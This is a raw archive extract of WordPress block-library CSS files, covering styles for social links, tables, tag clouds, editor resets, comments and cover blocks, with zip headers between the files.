.wp-social-link-google{background-color:#ea4434;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram{background-color:#f00075;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup{background-color:#f6405f;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest{background-color:#e60122;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket{background-color:#ef4155;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit{background-color:#ff4500;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype{background-color:#0478d7;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify{background-color:#1bd760;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram{background-color:#2aabee;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr{background-color:#011835;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch{background-color:#6440a4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk{background-color:#4680c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp{background-color:#d32422;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube{background-color:red;color:#fff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link{background:none}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg{height:1.25em;width:1.25em}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon{color:#f90}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp{color:#1ea0c3}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance{color:#0757fe}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky{color:#0a7aff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen{color:#1e1f26}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart{color:#02e49b}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord{color:#5865f2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble{color:#e94c89}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox{color:#4280ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy{color:#f45800}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook{color:#0866ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr{color:#0461dd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare{color:#e65678}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github{color:#24292d}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads{color:#382110}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google{color:#ea4434}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar{color:#1d4fc4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram{color:#f00075}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm{color:#e21b24}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin{color:#0d66c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon{color:#3288d4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup{color:#f6405f}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest{color:#e60122}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket{color:#ef4155}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit{color:#ff4500}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype{color:#0478d7}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat{color:#fff;stroke:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud{color:#ff5600}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify{color:#1bd760}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram{color:#2aabee}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr{color:#011835}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch{color:#6440a4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter{color:#1da1f2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vimeo{color:#1eb7ea}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk{color:#4680c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp{color:#25d366}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress{color:#3499cd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp{color:#d32422}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}:root :where(.wp-block-social-links .wp-social-link a){padding:.25em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a){padding:0}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a){padding-left:.6666666667em;padding-right:.6666666667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}.wp-block-spacer{clear:both}.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;text-decoration:none}:root :where(.wp-block-tag-cloud.is-style-outline){display:flex;flex-wrap:wrap;gap:1ch}:root :where(.wp-block-tag-cloud.is-style-outline a){border:1px solid;font-size:unset!important;margin-right:0;padding:1ch 2ch;text-decoration:none!important}.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}:root :where(.wp-block-table-of-contents){box-sizing:border-box}:where(.wp-block-term-description){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.3333333333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em}.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}PK1Xd[+��""'dist/block-library/elements-rtl.min.cssnu�[���.wp-element-button{cursor:pointer}PK1Xd[�7�g$dist/block-library/reset-rtl.min.cssnu�[���html :where(.editor-styles-wrapper){background:#fff;color:initial;font-family:serif;font-size:medium;line-height:normal}:where(.editor-styles-wrapper) .wp-align-wrapper{max-width:840px}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{max-width:none}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{max-width:840px}:where(.editor-styles-wrapper) a{transition:none}:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{background:inherit;font-family:monospace;font-size:inherit;margin:0;padding:0}:where(.editor-styles-wrapper) p{font-size:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{box-sizing:border-box;list-style-type:revert;margin:revert;padding:revert}:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{margin:revert}:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{margin:revert}:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{list-style-type:revert}:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{color:revert;font-size:revert;font-weight:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) select{-webkit-appearance:revert;background:revert;border:revert;border-radius:revert;box-shadow:revert;color:revert;cursor:revert;font-family:system-ui;font-size:revert;font-weight:revert;line-height:revert;margin:revert;max-width:revert;min-height:revert;outline:revert;padding:revert;text-shadow:revert;transform:revert;vertical-align:revert}:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{background-color:revert;background-image:revert;border-color:revert;box-shadow:revert;color:revert;cursor:revert;text-shadow:revert;transform:revert}PK1Xd[D}a
a
!dist/block-library/common.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}PK1Xd[N�?q"q"dist/block-library/editor.cssnu�[���ul.wp-block-archives{
  padding-left:2.5em;
}

.wp-block-archives .wp-block-archives{
  border:0;
  margin:0;
}

.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}

.wp-block-avatar__image img{
  width:100%;
}

.wp-block-avatar.aligncenter .components-resizable-box__container{
  margin:0 auto;
}

.wp-block[data-align=center]>.wp-block-button{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align=right]>.wp-block-button{
  text-align:right;
}

.wp-block-button{
  cursor:text;
  position:relative;
}
.wp-block-button:focus{
  box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:-2px;
}
.wp-block-button[data-rich-text-placeholder]:after{
  opacity:.8;
}

div[data-type="core/button"]{
  display:table;
}
.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}

.wp-block-categories ul{
  padding-left:2.5em;
}
.wp-block-categories ul ul{
  margin-top:6px;
}
[data-align=center] .wp-block-categories{
  text-align:center;
}

.wp-block-categories__indentation{
  padding-left:16px;
}

.wp-block-code code{
  background:none;
}

.wp-block-columns :where(.wp-block){
  margin-left:0;
  margin-right:0;
  max-width:none;
}

html :where(.wp-block-column){
  margin-bottom:0;
  margin-top:0;
}
.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}

.wp-block-comment-author-avatar__placeholder{
  border:1px dashed;
  height:100%;
  width:100%;
  stroke:currentColor;
  stroke-dasharray:3;
}

.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-comments-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin:.5em .5em .5em 0;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}

.wp-block-comments-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-comments-pagination-numbers .page-numbers{
  margin-right:2px;
}
.wp-block-comments-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-comments-title.has-background{
  padding:inherit;
}

.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient{
  position:relative;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  content:"";
  height:100%;
  opacity:.3;
  position:absolute;
  width:100%;
  z-index:1;
}
.wp-block-cover.is-transient .wp-block-cover__inner-container{
  z-index:2;
}
.wp-block-cover .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:left;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-left:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}

.wp-block-details summary div{
  display:inline;
}

.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
